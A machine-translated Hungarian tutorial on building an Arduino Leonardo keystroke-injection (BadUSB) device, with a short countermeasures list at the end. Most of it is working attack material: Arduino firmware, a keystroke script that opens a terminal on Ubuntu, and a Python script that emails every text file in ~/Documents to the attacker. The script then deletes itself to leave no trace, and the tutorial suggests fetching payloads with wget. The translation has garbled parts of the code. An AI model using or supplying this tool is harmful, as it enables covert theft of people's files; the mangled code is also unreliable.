Arduino billentyűzetkihasználási bemutató (HID) és megelőzés: 4 lépés (képekkel)

2024 Szerző: John Day | [email protected]. Utoljára módosítva: 2024-01-30 09:43

Ebben a projektben egy arduino Leonardo segítségével szimulálunk egy lehetséges USB támadást HID (humain interfész eszköz) használatával.

Azért hoztam létre ezt az oktatóanyagot, hogy ne a hackereknek segítsek, hanem hogy megmutassak néhány valódi veszélyt, és hogyan védhetem meg önmagatokat e veszélyektől. Ez az eszköz nem olyan eszköz, amely bármilyen platformon használható a hackerek számára, inkább a koncepció részletes bizonyítéka.

A következőket fogjuk megtanulni:

- hogyan kell használni az arduino Leonardo -t a billentyűzet emulálásához

- hogyan lehet adatokat olvasni az SD kártyáról

- hogyan lehet létrehozni egy python -szkriptet, amely átvizsgálja a fájlokat és e -maileket küld nekik

- hogyan védheti meg magát az USB -hackelő eszközökkel szemben

1. lépés: Anyagok

Alkatrészek:

1. Arduino leonardo

2. micro USB kártyaolvasó

3. néhány GB SD kártya

4. nyomógomb, mint ez (VCC, földelés és jelzés)

5. női-férfi és női-női áthidaló kábelek

6. micro USB - USB kábel

2. lépés: Az eszköz építése

Az építési utasítás előtt tekintsük át a működési elvet:

Az Arduino Leonardo emberi interfész eszközként (HID) viselkedhet, és emulálhatja az egeret és a billentyűzetet. Ezzel a funkcióval megnyitunk egy terminált (UBUNTU linux alatt), és írunk egy kis szkriptet, amely hozzáfér a /Dokumentumok mappához a felhasználó otthoni mappájában.txt fájlokat másol oda, és elküldi valakinek. Ha további részleteket szeretne megtudni, ellenőrizze a következő lépést.

Mivel ez egy demo eszköz, a dolgok nagyon egyszerűek, nem fogunk forrasztani semmit.

Építési utasítások

Mielőtt elkezdenénk, ellenőrizze a csatolt fájlokat, csatoltam a frizurázási rajzokat és az összes szükséges fájlt

1. Szerelje össze az alkatrészeket:

* Csatlakoztassa a mikro USB kábelt az arduino -hoz

* csatlakoztassa a kulcsos kapcsolót az arduino -hoz (föld, vcc és kimeneti modul a D8 -hoz)

* csatlakoztassa a kártyaolvasót az arduino -hoz (ICSP fejléc használatával). Az Arduino Leonardo nem rendelkezik az ICSP fejléccel a digitális tüskékhez, ezért csatlakoztatnia kell a kártyaolvasót az ICSP fejléchez. Az ICSP néhány rajzát itt találja: https://learn.sparkfun.com/tutorials/installing-an…. Csatlakoztassa az SS -tűt a 10 -es digitális tűhöz

2. szerezze be az arduino kódot, klónozhatja az arduino táromat a githubon: https://github.com/danionescu0/arduino, és lépjen a project/keyboard_exploit oldalra, vagy szerezze be alulról:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Alvás::"; String commandStartingPoint = "Parancs::"; int delayBetweenCommands = 10; const int gombPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Sorozat.kezdet (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("A kártya nem sikerült, vagy nincs jelen!"); Visszatérés; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Feltöltve!"); késleltetés (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("A megadott fájlnév nincs jelen az SD -kártyán, ellenőrizze a filenameOnCard!"); } Karakterlánc; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (sor); sendToKeyboard (sor); } dataFile.close (); } void sendToKeyboard (String sor) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (sor); Visszatérés; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (sor); nyomd meg az Entert(); Visszatérés; } Serial.println ("Parancs:"); int charPosition = commandStartingPoint.length (); int lineLength = vonal.hossz (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String parancs = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (parancs! = "") {Serial.print ("A parancs megtalálva:"); Serial.println (parancs); Keyboard.press (getCommandCode (parancs)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); késleltetés (sleepAmount); } char getCommandCode (String szöveg) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kód = textCharacters [0]; kód = (szöveg == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kód; kód = (szöveg == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kód; kód = (szöveg == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kód; kód = (szöveg == "KEY_UP_ARROW")? KEY_UP_ARROW: kód; kód = (szöveg == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kód; kód = (szöveg == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kód; kód = (szöveg == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kód; kód = (szöveg == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kód; kód = (szöveg == "KEY_BACKSPACE")? KEY_BACKSPACE: kód; kód = (szöveg == "KEY_TAB")? KEY_TAB: kód; kód = (szöveg == "KEY_RETURN")? KULCS_VISSZA: kód; kód = (szöveg == "KEY_ESC")? KEY_ESC: kód; kód = (szöveg == "KEY_INSERT")? KEY_INSERT: kód; kód = (szöveg == "KEY_DELETE")? KEY_DELETE: kód; kód = (szöveg == "KEY_PAGE_UP")? KEY_PAGE_UP: kód; kód = (szöveg == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kód; kód = (szöveg == "KEY_HOME")? KULCS_HOME: kód; kód = (szöveg == "KEY_END")? KEY_END: kód; kód = (szöveg == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kód; kód = (szöveg == "KEY_F1")? KULCS_F1: kód; kód = (szöveg == "KEY_F2")? KULCS_F2: kód; kód = (szöveg == "KEY_F3")? KULCS_F3: kód; kód = (szöveg == "KEY_F4")? KULCS_F4: kód; kód = (szöveg == "KEY_F5")? KULCS_F5: kód; kód = (szöveg == "KEY_F6")? KULCS_F6: kód; kód = (szöveg == "KEY_F7")? KULCS_F7: kód; kód = (szöveg == "KEY_F8")? KULCS_F8: kód; kód = (szöveg == "KEY_F9")? KULCS_F9: kód; kód = (szöveg == "KEY_F10")? KULCS_F10: kód; kód = (szöveg == "KEY_F11")? KULCS_F1: kód; kód = (szöveg == "KEY_F12")? KULCS_F2: kód;

visszatérési kód;

}

3. Töltse fel a kódot az arduino -ba, ügyeljen arra, hogy válassza a 9600 baud sebességet, a soros portot és az arduino Leonardo -t

4. Formázza az SD kártyát FAT16 vagy FAT32 használatával

5. Ha fentről klónozta a github repo -t, másolja a hack.txt fájlt a kártyára, ha nem, akkor az alább felsorolt fájl:

Parancs:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Alvás:: 300 Parancs:: KEY_INSERT import smtplib import glob, os az os.path importbővítőből e -mailből. MIMEMultipart MIMEMultipart import e -mailből. MIMEBase import MIMEBase e -mailből. MIMEText MIMEText importálása e -mailből. A COMMASPACE importálása, formátum dátum az e -mail import kódolóiból

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'Receive_address' scan_documents_location = 'Dokumentumok'

subject = body = 'Fájlok a feltört számítógépről'

header = 'Címzett: {0} nTól: {1} nTárgy: {2} n'.format (to_address, smtp_user, subject)

def sendMail (címzetthez, tárgyhoz, szöveghez, fájlokhoz = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = tárgy msg.attach (MIMEText (szöveg)) a fájlokban lévő fájlokhoz: part = MIMEBase ('alkalmazás', "oktett-folyam") part.set_payload (nyitott (fájl, "rb"). Read ()) Encoders.encode_base64 (rész) rész. add_header ('Content-Disposition', 'melléklet; fájlnév = " % s"' % os.path.basename (fájl)) msg.attach (part)

szerver = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([cím_cím], tárgy, törzs, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Alvás:: 50 parancs:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Alvás:: 400 parancs:: KEY_LEFT_ALT, KEY_F4

6. Szerkessze a következő sorokat:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'fogadó_cím'

És cserélje ki az e -mail címére

7. Vegye ki a kártyát, és helyezze be az arduino kártyaolvasóba

3. lépés: Hogyan működik a részletekben

A támadás működése:

1. Amikor megnyomja a gombot, a Leonardo az SD -kártyaolvasó segítségével leolvassa az SD -kártyát. A kártyán megjelenik egy speciális fájl, amely kulcsokat és billentyűkombinációkat tartalmaz. A fájl neve "hack.txt".

A fájl tartalmazhat nyers szöveget, és úgy továbbítja a billentyűzetre, ahogy van.

Ezenkívül speciális parancsokat is tartalmazhat, például "Sleep::" és "Command::".

Egy ilyen vonal:

Alvás:: 200 200 ms alvást jelent

Egy ilyen vonal:

Parancs:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t azt jelenti, hogy bal ctrl lenyomva, bal alt lenyomva, t lenyomva és minden felengedve

Az összes speciális kulcsot itt ellenőrizheti:

2. Leonardo sorról sorra olvas, értelmezi a parancsokat és emulálja a billentyűzet billentyűit. A "hack.txt" fájl olyan billentyűkombinációt tartalmaz, amely a következőket teszi (UBUNTU linux esetén):

a. terminált nyit (CTRL + ALT + T)

b. megnyit egy python fájlt a vi használatával történő létrehozáshoz (ezt írja: "vi hack.py"

c. egy python szkriptet ír be, amely összegyűjti a dokumentumok otthoni mappájában található összes szöveges fájlt, és elküldi őket egy megadott Gmail -címre

d. futtatja a fájlt a háttérben ("nohup python hack.py &")

e. törli a fájlt (rm -rf hack.py)

f. bezárja a terminált (ALT + F4)

Ez az egész néhány másodperc alatt lezajlik, és nem hagy nyomot.

Fejlesztések és hibaelhárítás

* Lehet, hogy észrevette, hogy a terminál megnyitása után írom a python fájlt. egy jobb módja annak, ha valahol tárolja, és a "wget some_url" paranccsal tölti le, majd nevezze át hack.py -re

* Ezenkívül letölthetünk vagy futtathatunk egy kész kihasználást a célzott operációs rendszer számára

* wifi hozzáadható a modulhoz, és a feltörések WIFI -n keresztül tölthetők fel

* Használhatja az arduino micro -t (ami sokkal kisebb), és beágyazhatja a exploit kódot (hogy kisebb legyen)

Korlátozások

1. Mivel a szimulált eszköz (billentyűzet és egér) nem tartalmaz visszajelzést, nem tudjuk, mi fog történni egy parancs kiadása után, ami azt jelenti, hogy késleltetést kell használnunk. Például parancsot adok ki a terminál megnyitásához, de nem tudom, hogy mikor lesz ténylegesen nyitva, ezért meg kell adnom egy tetszőleges késleltetést, hogy az után beírt karakterek ne vesszenek el.

2. Engedélyezési problémákkal találkozhatunk, mint például az USB -porthoz való hozzáférés hiánya vagy a telepítés engedélyezése

3. A gépelési sebesség nem túl nagy Leonardon

4. Csak célzott operációs rendszeren fog működni (esetünkben UBUNTU linux)

A következő lépésben megpróbáljuk megtalálni a módját ennek a korlátozásnak a kihasználására, hogy megakadályozzuk számítógépünk feltörését

4. lépés: Ellenintézkedések

1. Az USB -portok letiltása

-Windows esetén ezt az oktatóanyagot ellenőrizheti:

2. Az USB -eszközök engedélyezési listája:

- Windows esetén:

2. Zárja be a számítógépet, ha nincs távol

3. Ne jelentkezzen be rootként (jelszó megadása szükséges a telepítéshez)

4. Tartsa naprakészen magát (automatikus frissítések bekapcsolva)